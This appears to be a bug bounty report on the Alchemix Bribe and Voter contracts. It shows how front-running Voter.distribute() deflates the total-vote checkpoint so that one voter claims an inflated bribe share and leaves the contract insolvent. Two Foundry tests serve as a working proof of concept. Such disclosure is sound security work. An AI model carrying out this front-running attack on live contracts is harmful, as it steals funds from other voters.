Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Protocol insolvency
Description
Brief/Intro
This report demonstrates how an attacker can deflate the accounting of total votes in a Bribe to claim more tokens than he should, causing solvency issues as other users can't claim their share of bribes.
A coded PoC is included in the Proof of Concept section.
Vulnerability Details
Before diving deep let's recap what Bribe.deposit(...) and Bribe.withdraw(...) do.
The Bribe.deposit(...) function increases the balanceOf[tokenId], totalVoting and creates a new voting checkpoint.
The function meant to have the opposite effect, Bribe.withdraw(...), decreases the balanceOf[tokenId] but doesn't decrease the totalVoting nor creates a voting checkpoint.
The only way to "decrease" the totalVoting is by resetting it to 0, calling Voter.distribute() once every epoch.
Vote checkpoints are crucial. The total amount of votes is used to distribute rewards proportional to a user's balance.
The higher the number of total votes recorded in an epoch, not belonging to a specific user, the fewer rewards that user receives. The highly simplified pseudo-code is:
Epoch `i`:
└─**Alice** and **Bob** vote with `X` voting power.
Epoch `i+1`
├─`voter.distribute();` is executed
├─**Alice** votes again.
├─**Bob** votes again.
Epoch `i+2`
├─`voter.distribute();` is executed
├─**Alice** claims epoch rewards.
└─**Bob** claims epoch rewards.
**Alice** and **Bob** earned the same amount of bribes.
But due to how Bribe.deposit(...), Bribe.withdraw(...) and Voter.distribute(...) work, the following attack vector is possible:
Attack vector
Description
If Alice front-runs the voter.distribute() in a new epoch, and votes by calling Voter.vote(..), the following two functions are executed in Bribe in this same order:
First, Bribe.withdraw(..) decreases Alice's balance, but does not decrease the value of totalVoting and does not create a voting checkpoint representing that there are fewer votes now.
Then, Bribe.deposit(..) increases Alice's balance for the same number that was decreased, then increases the totalVoting (now is an inflated number), and creates a voting checkpoint.
Finally, the voter.distribute() call is executed and resets the totalVoting of this epoch to 0.
Alice now has a deposit and balance in the current epoch, but the amount of totalVoting for this epoch is 0, as if no one has voted.
Quick recap: The higher the value of totalVoting relative to Alice's balance the less rewards Alice receive, the lower the amount of totalVoting relative to Alice's balance the more rewards Alice can claim.
Diagram of the attack
We think this diagram helps to understand:
Epoch `i`:
└─**Alice** and **Bob** vote with `X` voting power.
Epoch `i+1`
├─**Alice** front-runs `voter.distribute()` and votes again.
├─`voter.distribute();` is executed
├─**Bob** votes again.
Epoch `i+2`
├─`voter.distribute();` is executed
├─**Alice** claims epoch rewards, and receives an inflated share.
└─**Bob** tries to claim but there are insufficient funds.
**Alice** received more tokens than she should have, creating insolvency,
and **Bob** can't claim his share of tokens due to lack of funds.
Step-by-step description of the attack
Step 1- Alice front-runs the voter.distribute(..) in a new epoch and votes again with X balance, inflating the value of totalVoting for this epoch by X.
Step 2-voter.distribute() resets to 0 the totalVoting of this epoch.
Step-3 Bob votes with Y balance, and a new voting checkpoint is created, increasing the totalVoting from 0 to Y.
The total amount of balance voted in this epoch is "X + Y" but the value of the voting checkpoint is Y, instead of "X + Y".
If Alice (or Bob) claims rewards, an inflated share of tokens is received, and the Bribe becomes insolvent.
Impact
Deflating the total amount of votes in a checkpoint, to steal bribes and create solvency issues
Proof of Concept
We are going to share 2 foundry tests, the first one is for the "happy path" and in the second one Alice front-runs the voter.distribute(), then claim bribes, making the system insolvent and preventing Bob from claiming his shares.
Happy path PoC
Add this test to src/test/Voting.t.sol
function testTotalVotesInflationHappyPath() public {
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
address bribeAddress = voter.bribes(address(sushiGauge));
// Add BAL bribes to sushiGauge
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
address[] memory bribes = new address[](1);
bribes[0] = address(bribeAddress);
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bal;
// in epoch i, user votes with balance x
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
// time goes forward
hevm.warp(block.timestamp + 2);
// beef votes with balance x
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
// ------------------- Start epoch i+1
hevm.warp(newEpoch() + 1);
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
// distribution is executed
voter.distribute();
hevm.startPrank(admin);
// user votes with balance x
voter.vote(tokenId1, pools, weights, 0);
hevm.stopPrank();
// time goes forward
hevm.warp(block.timestamp + 2);
// beef votes with balance x
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
// ------------------- Start epoch i+2
hevm.warp(newEpoch() + 1);
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
// distribution is executed
voter.distribute();
hevm.startPrank(admin);
// user claim rewards
voter.claimBribes(bribes, tokens, tokenId1);
hevm.stopPrank();
// time goes forward
hevm.warp(block.timestamp + 2);
hevm.startPrank(beef);
// beef claim rewards
voter.claimBribes(bribes, tokens, tokenId2);
hevm.stopPrank();
}
Attack PoC
Add this test to src/test/Voting.t.sol
function testTotalVotesInflation() public {
uint256 tokenId1 = createVeAlcx(admin, TOKEN_1, MAXTIME, false);
uint256 tokenId2 = createVeAlcx(beef, TOKEN_1, MAXTIME, false);
address bribeAddress = voter.bribes(address(sushiGauge));
// Add BAL bribes to sushiGauge
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
address[] memory pools = new address[](1);
pools[0] = sushiPoolAddress;
uint256[] memory weights = new uint256[](1);
weights[0] = 5000;
address[] memory bribes = new address[](1);
bribes[0] = address(bribeAddress);
address[][] memory tokens = new address[][](1);
tokens[0] = new address[](1);
tokens[0][0] = bal;
// in epoch i, attacker votes with balance x
hevm.prank(admin);
voter.vote(tokenId1, pools, weights, 0);
// time goes forward
hevm.warp(block.timestamp + 2);
// beef votes with balance x
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
// ------------------- Start epoch i+1
hevm.warp(newEpoch() + 1);
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
hevm.startPrank(admin);
// attacker front-runs the distribution and votes with balance X
voter.vote(tokenId1, pools, weights, 0);
// now he executes the distribution
voter.distribute();
hevm.stopPrank();
// time goes forward
hevm.warp(block.timestamp + 2);
// beef votes with balance X
hevm.prank(beef);
voter.vote(tokenId2, pools, weights, 0);
// ------------------- Start epoch i+2
hevm.warp(newEpoch() + 1);
createThirdPartyBribe(bribeAddress, bal, TOKEN_100K);
// distribution is executed
voter.distribute();
hevm.startPrank(admin);
// attacker claims an inflated share
voter.claimBribes(bribes, tokens, tokenId1);
hevm.stopPrank();
// time goes forward
hevm.warp(block.timestamp + 2);
hevm.startPrank(beef);
// beef tries to claim but his transaction reverts due to lack of funds
voter.claimBribes(bribes, tokens, tokenId2);
hevm.stopPrank();
}